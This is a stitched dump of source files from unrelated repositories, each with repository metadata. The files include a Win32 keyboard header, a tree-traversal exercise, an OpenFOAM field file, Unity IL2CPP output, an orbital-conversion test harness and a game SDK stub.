KEY_EVENT_RECORD& src); // Add a key to the queue static void putConsoleKeyboardEvent(KeyDownEvent &key); // Remove a key event from the queue static int getConsoleKeyboardEvent(KeyDownEvent &key); // Process a Win32 key event and put it in the queue static void HandleKeyEvent(); // Last value recieved for the shift modifiers static ushort LastControlKeyState; // Table used to Translate keyboard events static const char KeyTo[256]; // Table for ASCII printable values static const char testChars[]; // Queue static KeyDownEvent *evKeyboardIn; static KeyDownEvent *evKeyboardOut; static KeyDownEvent evKeyboardQueue[eventKeyboardQSize]; static unsigned evKeyboardLength; static CRITICAL_SECTION lockKeyboard; friend class THWMouseWin32; friend class TScreenWin32; }; #endif // WIN32KEY_HEADER_INCLUDED
[ "admin@dbase.center" ]
admin@dbase.center
4fcea0611b188c7f3a5e285323bb94afd8f50b3d
4c3068dd69156650a7e8042771fab4408794d653
/2.28/A1086 Tree Traversals Again.cpp
4b4009e21848e140583d10425fe5237cae63366e
[]
no_license
GXMhahahaha/PAT
396d4cae43fa4c51ad7aecc35e9c3482a06902e1
891061921a1b45e3e3ee49731b2206a54f1eb1fb
refs/heads/master
2023-07-08T19:06:37.482228
2021-08-05T03:21:47
2021-08-05T03:21:47
392,892,525
0
0
null
null
null
null
UTF-8
C++
false
false
1,275
cpp
//A1086 Tree Traversals Again #include <iostream> #include <stdio.h> #include <stack> #include <string.h> using namespace std; const int maxn = 50; int N; int pre[maxn]; int in[maxn]; stack<int> s; struct Node{ int key; Node* left; Node* right; }; Node* Build(int preL,int preR,int inL,int inR){ if(preL>preR || inL>inR){ return NULL; } Node* root = (Node*)malloc(sizeof(Node)*1); int Key = pre[preL]; root->key = Key; int pos = -1; for(int i=inL;i<=inR;i++){ if(in[i] == Key){ pos = i; break; } } int numL = pos - inL; int numR = inR - pos; root->left = Build(preL+1,preL+numL,inL,pos-1); root->right = Build(preR-numR+1,preR,pos+1,inR); return root; } int cal = 0; void PostOrder(Node* root){ if(root == NULL) return; PostOrder(root->left); PostOrder(root->right); printf("%d",root->key); cal++; if(cal<N){ printf(" "); } } int main(){ cin>>N; int num=0; int i=0,j=0; while(1){ char inst[5]; scanf("%s",inst); if(strcmp(inst,"Push")==0){ int key; scanf("%d",&key); s.push(key); pre[i++] = key; num++; } else{ int key = s.top(); in[j++] = key; s.pop(); } if(num==N && s.empty()){ break; } } Node* root = Build(0,i-1,0,j-1); PostOrder(root); printf("\n"); return 0; }
[ "1844720947@qq.com" ]
1844720947@qq.com
2f149104a77ddcebb1bdb4701914a74358fadc24
b11b2b488d94ae20f58cfe40bae0987c32b5945e
/butaneVerification/1e-06/UPrime2Mean
0af575ac3984a6805ac9372b18da15f19c9740ee
[]
no_license
jamesjguthrie/mayerTestCase
93dbd9230e16a0f061cec97c7ddf6cb5303e1c95
9279ad56b62efa1507ff8b1bcd96e3ce2daceb56
refs/heads/master
2021-03-30T18:20:33.641846
2019-06-25T12:55:07
2019-06-25T12:55:07
26,530,210
0
0
null
null
null
null
UTF-8
C++
false
false
1,072
/*--------------------------------*- C++ -*----------------------------------*\ | ========= | | | \\ / F ield | OpenFOAM: The Open Source CFD Toolbox | | \\ / O peration | Version: 2.4.0 | | \\ / A nd | Web: www.OpenFOAM.org | | \\/ M anipulation | | \*---------------------------------------------------------------------------*/ FoamFile { version 2.0; format ascii; class volSymmTensorField; location "1e-06"; object UPrime2Mean; } // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // dimensions [0 2 -2 0 0 0 0]; internalField uniform (0 0 0 0 0 0); boundaryField { upperWall { type calculated; value uniform (0 0 0 0 0 0); } } // ************************************************************************* //
[ "james@heyjimmy.net" ]
james@heyjimmy.net
57fc92602408f926d3685148e6401a4444d6ca0e
603742c3a80dc337875e2d92c8b488cc9983349c
/Aplicacion/Nodo3.h
328c2bdafef1b97ffb33585ed21390aa8b0c8ebc
[ "MIT" ]
permissive
oigresagetro/EDYAA_TP1
c747963ccfc40697c57ba51fae5dbc8f06f59d2c
0f0b18ba1e705cec44c474c0debc0abc20106b14
refs/heads/master
2021-07-09T00:00:53.473933
2017-10-06T02:53:43
2017-10-06T02:53:43
104,901,752
0
0
null
null
null
null
UTF-8
C++
false
false
268
h
#ifndef _Nodo3 #define _Nodo3 #include <iostream> using namespace std; struct Nodo3{ public: char c; Nodo3 * hijoMasI; Nodo3 * hermanoD; // o padre; Nodo3 * ptrPadre; Nodo3 * hermanoI; Nodo3(char); ~Nodo3(); //bool operator==(const Nodo2&); }; #endif
[ "31581117+oigresagetro@users.noreply.github.com" ]
31581117+oigresagetro@users.noreply.github.com
6327d464fdbd31b4a552fc7c3c20a3307343333c
c2b6bd54bef3c30e53c846e9cf57f1e44f8410df
/Temp/il2cppOutput/il2cppOutput/mscorlib_System_Collections_ObjectModel_ReadOnlyCo1676177880.h
4084538807cb6d333daf9ddfa6f2bc0e7508854b
[]
no_license
PriyeshWani/CrashReproduce-5.4p1
549a1f75c848bf9513b2f966f2f500ee6c75ba42
03dd84f7f990317fb9026cbcc3873bc110b1051e
refs/heads/master
2021-01-11T12:04:21.140491
2017-01-24T14:01:29
2017-01-24T14:01:29
79,388,416
0
0
null
null
null
null
UTF-8
C++
false
false
1,177
h
#pragma once #include "il2cpp-config.h" #ifndef _MSC_VER # include <alloca.h> #else # include <malloc.h> #endif #include <stdint.h> #include "mscorlib_System_Object2689449295.h" // System.Collections.Generic.IList`1<UnityEngine.UI.Selectable> struct IList_1_t2031332789; #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Collections.ObjectModel.ReadOnlyCollection`1<UnityEngine.UI.Selectable> struct ReadOnlyCollection_1_t1676177880 : public Il2CppObject { public: // System.Collections.Generic.IList`1<T> System.Collections.ObjectModel.ReadOnlyCollection`1::list Il2CppObject* ___list_0; public: inline static int32_t get_offset_of_list_0() { return static_cast<int32_t>(offsetof(ReadOnlyCollection_1_t1676177880, ___list_0)); } inline Il2CppObject* get_list_0() const { return ___list_0; } inline Il2CppObject** get_address_of_list_0() { return &___list_0; } inline void set_list_0(Il2CppObject* value) { ___list_0 = value; Il2CppCodeGenWriteBarrier(&___list_0, value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif
[ "priyeshwani@gmail.com" ]
priyeshwani@gmail.com
4169a75d98dc28687822cdff60c13ee0af72b8a4
c2b161ce52e127f7036882f0ffa523f520dc1c87
/tutorials/playground/convert_test.cpp
ce04c825417272999a0dc8470e61fef5638afc48
[]
no_license
dmosher42/cosmos-core
9991e7268044fa3b139716a48e3bf3c707ea3422
625d1de84eded5ff69b2870a9cbf57c1a6476f89
refs/heads/master
2023-03-21T17:26:05.288081
2021-01-28T00:12:33
2021-01-28T00:12:33
null
0
0
null
null
null
null
UTF-8
C++
false
false
15,472
cpp
/******************************************************************** * Copyright (C) 2015 by Interstel Technologies, Inc. * and Hawaii Space Flight Laboratory. * * This file is part of the COSMOS/core that is the central * module for COSMOS. For more information on COSMOS go to * <http://cosmos-project.com> * * The COSMOS/core software is licenced under the * GNU Lesser General Public License (LGPL) version 3 licence. * * You should have received a copy of the * GNU Lesser General Public License * If not, go to <http://www.gnu.org/licenses/> * * COSMOS/core is free software: you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public License * as published by the Free Software Foundation, either version 3 of * the License, or (at your option) any later version. * * COSMOS/core is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * Refer to the "licences" folder for further information on the * condititons and terms to use this software. ********************************************************************/ #include "mathlib.h" #include "convertlib.h" #include <stdio.h> #include <string.h> //maximum length+1 (for the null terminator) of any function name in the library #define MAX_NAME 15 /*My own little set of file reading functions*/ int openFileLine(FILE **fp, const char filename[], int startLine);//opens a file from 'convert_test_data' for reading and moves the pointer to startLine void skipLines(FILE *fp, int lines);//skips 'lines' many lines, stops at EOF if necessary int main(int argc, char *argv[]) { /*remember to adjust the number of loops in line 18 to match the number of names here*/ char names[][MAX_NAME] = {"rearth","kep2eci","eci2kep"}; //the name of every function being tested, must be IN ORDER! int i, jumpto = -1, skip = -1; //normally we don't jump to or skip anything, so those are initialized out of range. double error, adjerror,avgerror, minerror, maxerror, terror, tminerror, tmaxerror; error = adjerror = avgerror = minerror = maxerror = terror = tminerror = tmaxerror = 0.; i=0; while (argc>1&&i<3) { //If arguments were entered: loop through the names array,... if (strcmp(argv[1], names[i]) == 0) { //and determine if we're to supposed to jump to a specific function,... jumpto = i; printf("\nFunctionality Test:\t%s\n\n", names[i]); break; } else if ((*argv[1] == '-')&&(strcmp(&argv[1][1], names[i]) == 0)) {//or skip a specific function. skip = i; jumpto = 0; printf("\nFunctionality Tests:\tconvertlib (without %s)\n\n", names[i]); break; } i++; } /*Tests can test a single function, or a small group of functions, but must provide error values individually for every function within the test. Each test is contained within a switch case, so they don't interfere with eachother, and can be excluded or run alone.*/ switch (jumpto) { case -1: //Default first line if no arguments were entered printf("\nFunctionality Tests:\tconvertlib\n\n"); case 0: if (skip!=0){ //if skip is the same as this case value, skip this function printf("Function: rearth()\n"); FILE *LATvRdata; if (openFileLine(&LATvRdata, "LATvR.txt", 0)!=0) { i=0; int z = 30; //display one test out of every ___ int numTests; //the number of tests (written at top of file) fscanf(LATvRdata, "%d", &numTests); skipLines(LATvRdata, 2); double lat, rad, maxErrorL, minErrorL, maxErrorR, minErrorR; error = adjerror = avgerror = 0.0; printf("Latitude: \tRadius(function):\tRadius(correct):\t Delta:\n"); printf("(deg)\t(rad) \t(m)\t\t\t(m)\t\t\t (m)\n");//this is very nicely formatted, please don't break it. while (i<numTests&&!feof(LATvRdata)) { fscanf(LATvRdata, "%lf%lf", &lat, &rad); error = rearth(lat) - rad; if (i==0) { minerror = maxerror = error; maxErrorL = minErrorL = lat; maxErrorR = minErrorR = rad; } else if (fabs(error)>fabs(maxerror)) { maxerror = error; maxErrorL = lat; maxErrorR = rad; } else if (fabs(error)<fabs(minerror)) { minerror = error; minErrorL = lat; minErrorR = rad; } avgerror += fabs(error); adjerror = avgerror/rad; if (i%z==0||i==0) { printf("%0.0f \t%0.15f\t%0.9f (-) %0.9f (=) %11.5g\n", DEGOF(lat), lat, rearth(lat), rad, error); } i++; } fclose(LATvRdata); printf("%d tests total. One out of every %d shown.\n",i,z); printf("\n"); adjerror = adjerror/i; avgerror = avgerror/i; printf("Max Error:%0.0f \t%0.15f\t%0.9f (-) %0.9f (=) %11.5g\n", DEGOF(maxErrorL), maxErrorL, rearth(maxErrorL), maxErrorR, maxerror); printf("Min Error:%0.0f \t%0.15f\t%0.9f (-) %0.9f (=) %11.5g\n", DEGOF(minErrorL), minErrorL, rearth(minErrorL), minErrorR, minerror); printf("Average Error:%11.5g\tAdjusted Error:%11.5g\n", avgerror, adjerror); printf("\n"); terror += adjerror; printf("rearth() Error: %11.5g\tTerror:%11.5g\n",adjerror, terror); printf("\n"); } if (jumpto!=-1) break; //this function was jumped to, no other functions need to be tested. } case 1: //this is the first of a group of functions tested together, drop through cases to the actuall test. if (skip!=1) { printf("Function: kep2eci()\n"); if (jumpto!=-1) break; } case 2: if (skip!=2) { printf("Function: eci2kep()\n"); FILE *KeplerData; FILE *ECIData; if ((openFileLine(&KeplerData, "kepler_data.txt", 0)!=0)&&(openFileLine(&ECIData, "eci_data.txt", 2)!=0)) { int numTests; fscanf(KeplerData, "%d", &numTests); skipLines(KeplerData, 2); kepstruc kepcorrect, keptest, Kmaxerror, Kminerror; cartpos eciinput, Emaxerror, Eminerror; int z = 100; //display one test out of every ___ i=0; printf("ECI vector input |#|Kepler element output\n"); while (i<numTests&&(!feof(KeplerData)||!feof(ECIData))) { fscanf(KeplerData, "%lf%lf%lf%lf%lf%lf%lf%lf%lf%lf%lf%lf%lf%lf", &kepcorrect.beta, &kepcorrect.period, &kepcorrect.alat, &kepcorrect.ap, &kepcorrect.ea, &kepcorrect.e, &kepcorrect.h.col[0], &kepcorrect.fa, &kepcorrect.i, &kepcorrect.ma, &kepcorrect.mm, &kepcorrect.raan, &kepcorrect.a, &kepcorrect.ta); kepcorrect.fa -= RADOF(90.); fscanf(ECIData, "%lf%lf%lf%lf%lf%lf%lf%lf%lf", &eciinput.s.col[0], &eciinput.s.col[1], &eciinput.s.col[2], &eciinput.v.col[0], &eciinput.v.col[1], &eciinput.v.col[2], &eciinput.a.col[0], &eciinput.a.col[1], &eciinput.a.col[2]); eciinput.utc = 55927; eci2kep(&eciinput, &keptest); error = fabs(keptest.beta - kepcorrect.beta)+fabs(keptest.period - kepcorrect.period)+fabs(keptest.alat - kepcorrect.alat)+fabs(keptest.ap - kepcorrect.ap)+fabs(keptest.ea - kepcorrect.ea)+fabs(keptest.e - kepcorrect.e)/*+fabs(keptest.h.col[0] - kepcorrect.h.col[0])*/+fabs(keptest.fa - kepcorrect.fa)+fabs(keptest.i - kepcorrect.i)+fabs(keptest.ma - kepcorrect.ma)+fabs(keptest.mm - kepcorrect.mm)+fabs(keptest.raan - kepcorrect.raan)+fabs(keptest.a - kepcorrect.a)+fabs(keptest.ta - kepcorrect.ta); if (i==0) { minerror = maxerror = error; Kmaxerror = Kminerror = kepcorrect; Emaxerror = Eminerror = eciinput; } else if (fabs(error)>fabs(maxerror)) { maxerror = error; Kmaxerror = kepcorrect; Emaxerror = eciinput; } else if (fabs(error)<fabs(minerror)) { minerror = error; Kminerror = kepcorrect; Eminerror = eciinput; } avgerror += fabs(error); if (i%z==0||i==0) { printf("%d______________________________________________________________________________________________________________\n",i); printf("pos x:%11.5g|#| Beta Angle |Period |alat |arg per |E anom |e |flight ang\n",eciinput.s.col[0]); printf(" y:%11.5g|#|function:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g\n",eciinput.s.col[1],keptest.beta,keptest.period,keptest.alat,keptest.ap,keptest.ea,keptest.e,keptest.fa); printf(" z:%11.5g|#| correct:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g\n",eciinput.s.col[2],kepcorrect.beta,kepcorrect.period,kepcorrect.alat,kepcorrect.ap,kepcorrect.ea,kepcorrect.e,kepcorrect.fa); printf("vel x:%11.5g|#| delta:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g\n",eciinput.v.col[0],(keptest.beta-kepcorrect.beta),(keptest.period-kepcorrect.period),(keptest.alat-kepcorrect.alat),(keptest.ap-kepcorrect.ap),(keptest.ea-kepcorrect.ea),(keptest.e-kepcorrect.e),(keptest.fa-kepcorrect.fa)); printf(" y:%11.5g|#| i |mean anom |mean motion|raan |a |true anomaly \n",eciinput.v.col[1]); printf(" z:%11.5g|#|function:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g \n",eciinput.v.col[2],keptest.i,keptest.ma,keptest.mm,keptest.raan,keptest.a,keptest.ta); printf("acc x:%11.5g|#| correct:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g \n",eciinput.a.col[0],kepcorrect.i,kepcorrect.ma,kepcorrect.mm,kepcorrect.raan,kepcorrect.a,kepcorrect.ta); printf(" y:%11.5g|#| delta:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g \n",eciinput.a.col[1],(keptest.i-kepcorrect.i),(keptest.ma-kepcorrect.ma),(keptest.mm-kepcorrect.mm),(keptest.raan-kepcorrect.raan),(keptest.a-kepcorrect.a),(keptest.ta-kepcorrect.ta)); printf(" z:%11.5g|#|\n",eciinput.a.col[2]); } i++; } printf("________________________________________________________________________________________________________________\n"); fclose(KeplerData); fclose(ECIData); printf("\n%d tests total, one out of every %d shown.\n",i,z); avgerror = avgerror/i; printf("\nMaximum Error:__________________________________________________________________________________________\n"); eci2kep(&Emaxerror, &keptest); printf("pos x:%11.5g|#| Beta Angle |Period |alat |arg per |E anom |e |flight ang\n",Emaxerror.s.col[0]); printf(" y:%11.5g|#|function:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g\n",Emaxerror.s.col[1],keptest.beta,keptest.period,keptest.alat,keptest.ap,keptest.ea,keptest.e,keptest.fa); printf(" z:%11.5g|#| correct:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g\n",Emaxerror.s.col[2],Kmaxerror.beta,Kmaxerror.period,Kmaxerror.alat,Kmaxerror.ap,Kmaxerror.ea,Kmaxerror.e,Kmaxerror.fa); printf("vel x:%11.5g|#| delta:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g\n",Emaxerror.v.col[0],(keptest.beta-Kmaxerror.beta),(keptest.period-Kmaxerror.period),(keptest.alat-Kmaxerror.alat),(keptest.ap-Kmaxerror.ap),(keptest.ea-Kmaxerror.ea),(keptest.e-Kmaxerror.e),(keptest.fa-Kmaxerror.fa)); printf(" y:%11.5g|#| i |mean anom |mean motion|raan |a |true anomaly \n",Emaxerror.v.col[1]); printf(" z:%11.5g|#|function:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g \n",Emaxerror.v.col[2],keptest.i,keptest.ma,keptest.mm,keptest.raan,keptest.a,keptest.ta); printf("acc x:%11.5g|#| correct:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g \n",Emaxerror.a.col[0],Kmaxerror.i,Kmaxerror.ma,Kmaxerror.mm,Kmaxerror.raan,Kmaxerror.a,Kmaxerror.ta); printf(" y:%11.5g|#| delta:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g \n",Emaxerror.a.col[1],(keptest.i-Kmaxerror.i),(keptest.ma-Kmaxerror.ma),(keptest.mm-Kmaxerror.mm),(keptest.raan-Kmaxerror.raan),(keptest.a-Kmaxerror.a),(keptest.ta-Kmaxerror.ta)); printf(" z:%11.5g|#|\n",Emaxerror.a.col[2]); printf("\nMinimum Error:__________________________________________________________________________________________\n"); eci2kep(&Eminerror, &keptest); printf("pos x:%11.5g|#| Beta Angle |Period |alat |arg per |E anom |e |flight ang\n",Eminerror.s.col[0]); printf(" y:%11.5g|#|function:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g\n",Eminerror.s.col[1],keptest.beta,keptest.period,keptest.alat,keptest.ap,keptest.ea,keptest.e,keptest.fa); printf(" z:%11.5g|#| correct:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g\n",Eminerror.s.col[2],Kminerror.beta,Kminerror.period,Kminerror.alat,Kminerror.ap,Kminerror.ea,Kminerror.e,Kminerror.fa); printf("vel x:%11.5g|#| delta:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g\n",Eminerror.v.col[0],(keptest.beta-Kminerror.beta),(keptest.period-Kminerror.period),(keptest.alat-Kminerror.alat),(keptest.ap-Kminerror.ap),(keptest.ea-Kminerror.ea),(keptest.e-Kminerror.e),(keptest.fa-Kminerror.fa)); printf(" y:%11.5g|#| i |mean anom |mean motion|raan |a |true anomaly \n",Eminerror.v.col[1]); printf(" z:%11.5g|#|function:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g \n",Eminerror.v.col[2],keptest.i,keptest.ma,keptest.mm,keptest.raan,keptest.a,keptest.ta); printf("acc x:%11.5g|#| correct:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g \n",Eminerror.a.col[0],Kminerror.i,Kminerror.ma,Kminerror.mm,Kminerror.raan,Kminerror.a,Kminerror.ta); printf(" y:%11.5g|#| delta:%11.5g|%11.5g|%11.5g|%11.5g|%11.5g|%11.5g \n",Eminerror.a.col[1],(keptest.i-Kminerror.i),(keptest.ma-Kminerror.ma),(keptest.mm-Kminerror.mm),(keptest.raan-Kminerror.raan),(keptest.a-Kminerror.a),(keptest.ta-Kminerror.ta)); printf(" z:%11.5g|#|\n",Eminerror.a.col[2]); } if (jumpto!=-1) break; } default: printf("\nconvertlib total error"); if (skip!=-1) printf(" (without %s)",names[skip]); //indicate whether any function was skipped. printf(":\t%11.5g\n",terror); //final error stats for entire library. } } int openFileLine(FILE **fp, const char filename[], int startLine) { char filePath[40] = {"convert_test_data/"};//the folder containing the test files *fp = fopen(strcat(filePath, filename), "r"); //open the file if (fp == NULL) { //print error message if necessary. printf("\n\tError opening necessary data file!!!\n"); printf("Please check that the text file '%s' exists and\n", filename); printf("is in the directory titled 'convert_test_data'.\n\n"); return(0); //return 0 for failure.... } skipLines(*fp, startLine); //move the pointer to startLine return(1); //return 1 for sucess!!!! } void skipLines(FILE *fp, int lines) { char c; for (lines; lines>0; lines--) { //skip 'lines' many lines c=0; do { //scan through file untill the end of a line is reached c = fgetc(fp); if (c==EOF) return; //We've gone too far!!! } while(c!='\n'); } }
[ "pilger@hsfl.hawaii.edu" ]
pilger@hsfl.hawaii.edu
a41438aa7e5b0e5801496fae01a8cc2331fb75f1
10ecd7454a082e341eb60817341efa91d0c7fd0b
/SDK/BP_FishingFish_Islehopper_03_Colour_01_Stone_functions.cpp
f516d392de37b816420c938523919f39fdfdbc70
[]
no_license
Blackstate/Sot-SDK
1dba56354524572894f09ed27d653ae5f367d95b
cd73724ce9b46e3eb5b075c468427aa5040daf45
refs/heads/main
2023-04-10T07:26:10.255489
2021-04-23T01:39:08
2021-04-23T01:39:08
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,024
cpp
// Name: SoT, Version: 2.1.0.1 #include "../SDK.h" /*!!DEFINE!!*/ /*!!HELPER_DEF!!*/ /*!!HELPER_INC!!*/ #ifdef _MSC_VER #pragma pack(push, 0x01) #endif namespace CG { //--------------------------------------------------------------------------- // Functions //--------------------------------------------------------------------------- // Function BP_FishingFish_Islehopper_03_Colour_01_Stone.BP_FishingFish_Islehopper_03_Colour_01_Stone_C.UserConstructionScript // (Event, Public, BlueprintCallable, BlueprintEvent) void ABP_FishingFish_Islehopper_03_Colour_01_Stone_C::UserConstructionScript() { static auto fn = UObject::FindObject<UFunction>("Function BP_FishingFish_Islehopper_03_Colour_01_Stone.BP_FishingFish_Islehopper_03_Colour_01_Stone_C.UserConstructionScript"); ABP_FishingFish_Islehopper_03_Colour_01_Stone_C_UserConstructionScript_Params params; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } } #ifdef _MSC_VER #pragma pack(pop) #endif
[ "ploszjanos9844@gmail.com" ]
ploszjanos9844@gmail.com